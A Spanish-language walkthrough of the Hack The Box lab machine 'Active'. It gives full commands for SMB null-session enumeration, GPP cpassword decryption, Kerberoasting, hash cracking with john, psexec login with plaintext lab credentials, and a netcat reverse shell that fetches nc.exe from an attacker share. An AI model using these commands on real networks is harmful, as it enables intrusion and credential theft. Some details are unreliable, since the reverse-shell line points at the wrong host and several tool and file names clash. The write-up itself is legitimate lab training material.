Active

En esta publicación, abordaremos la máquina "Active" de la plataforma Hack The Box. Iniciaremos con la enumeración de recursos compartidos a través del protocolo SMB, lo que nos permitirá obtener el archivo Groups.xml
. Dentro de este archivo, encontraremos una contraseña que podremos descifrar, ya que la clave de cifrado es conocida públicamente. Finalmente, realizaremos un ataque de Kerberoasting para obtener un hash TGS de Kerberos, que podremos crackear para obtener la contraseña del usuario Administrador.
Reconocimiento
Iniciamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envÃo de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.
Enumeración
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
nmap -sS -sCV -p- --open --min-rate 5000 10.10.10.100 -n -Pn -oN targeted -vvv

Antes de comenzar a enumerar, ingresamos en nuestro archivo /etc/hosts
la siguiente linea para que cuando hagmos referencia active.htb
resuelva a la IP 10.10.10.100
.
echo '10.10.10.100 active.htb' >> /etc/hosts
Enumeración de recursos compartidos
Comenzamos enumerando recursos compartidos através del protocolo SMB utilizando una Null Session.
Podemos observar, que tenemos permisos de lectura al recurso compartido Replication
.
nxc smb 10.10.10.100 -u '' -p '' --shares

También podemos enumerar utilizando otras herramientas como smbmap
.
smbmap -u '' -p '' -H 10.10.10.100

Enumeramos de forma recursiva el recurso Replication
.
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication'

Replication
Observamos que dentro existe un directorio llamado active.htb
.
Continuamos enumerando y nos encontramos con tres subdirectorios.
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb'

Replication
Si seguimos enumerando, nos encontramos con un archivo llamdo Groups.xml
.
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/'

Descargamos este archivo a nuestra máquina utilizando sqlmap
.
smbmap -u '' -p '' -H 10.10.10.100 --download 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml'

Renombramos el archivo a Groups.xml
para mayor facilidad.
mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml Groups.xml

Explotación
Archivo Groups.xml de Active Directory
El archivo Groups.xml
es parte de la polÃtica de preferencias de grupo (GPP) en Active Directory. Este archivo se utiliza para configurar y administrar los grupos locales en los equipos dentro de un dominio de Active Directory. Las polÃticas de preferencias de grupo permiten a los administradores establecer configuraciones y preferencias de manera centralizada que se aplican a los usuarios y equipos.
Dentro de Groups.xml
, se pueden especificar acciones como crear, modificar o eliminar cuentas de usuarios locales y grupos en los equipos del dominio. El archivo está ubicado generalmente en la ruta:
\\<domain>\SYSVOL\<domain>\Policies\{<GUID>}\Machine\Preferences\Groups\Groups.xml
Este archivo contiene la configuración especÃfica para los grupos, incluyendo nombres de usuarios, grupos, contraseñas y otros parámetros.
Campo cpassword
cpassword
El campo cpassword
dentro del archivo Groups.xml
contiene la contraseña encriptada para las cuentas de usuario configuradas a través de las preferencias de grupo. La encriptación utilizada para este campo es bastante débil y utiliza una clave estática conocida. La contraseña se encripta usando AES-256, pero la clave de cifrado está embebida en las herramientas de administración de GPP y es conocida públicamente.
Para crackear el cpassword
, podemos utilizar la herramienta gpp-decrypt.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Validamos las credenciales contra el dominio utilizandonetexec
.

netexec
.Kerberoasting
Ahora que tenemos credenciales validas del dominio, podemos intentar realizar un ataque de Kerberoasting. Además, si miramos el nombre del usuario vemos que el sufijo del mismo nos da a entender que este puede solicitar TGS (Ticket Granting Service) de Kerberos, para lo cual podemos hacer lo siguiente utilizando la herramienta impacket-GetUserSPNs
:
impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile krb.txt

Ahora, podemos hacer uso de john
o hashcat
para crackear el hash y obtener la contraseña en texto claro.
john krb_tgs.txt --wordlist=/usr/share/wordlists/rockyou.txt

john
Validamos las credenciales contra el dominio.

netexec
Genial, nos indica que son validas y además Pwn3d!, lo cual nos permite conectarnos a la máquina usando psexec
.
Nos conectamos a la máquina vÃctima.
impacket-psexec Administrator:Ticketmaster1968@10.10.10.100

Para tener una consola más interactiva, nos compartimos el binario de nc.exe
con un recurso compartido desde nuestra máquina utilizando impacket-smbserver
:
Creamos un recurso compartido
impacket-smbserver -smb2support sharedFolder .
Decargamos el binario de netcat.
copy \\10.10.14.3\sharedFolder\nc.exe .
Nos ponemos en escucha con netcat por el puerto 443.
rlwrap nc -lnvp 443
Enviamos la reverse shell
nc.exe -e cmd 10.10.10.100 -443
Ganamos acceso al sistema.

De esta forma, ya podemos leer las flags de user.txt
y root.txt
.

Concluimos la resolución de una nueva máquina.
Espero que hayas disfrutado del contenido y que los conceptos hayan quedado claros.
¡Gracias por leer!
Happy Hacking!
Última actualización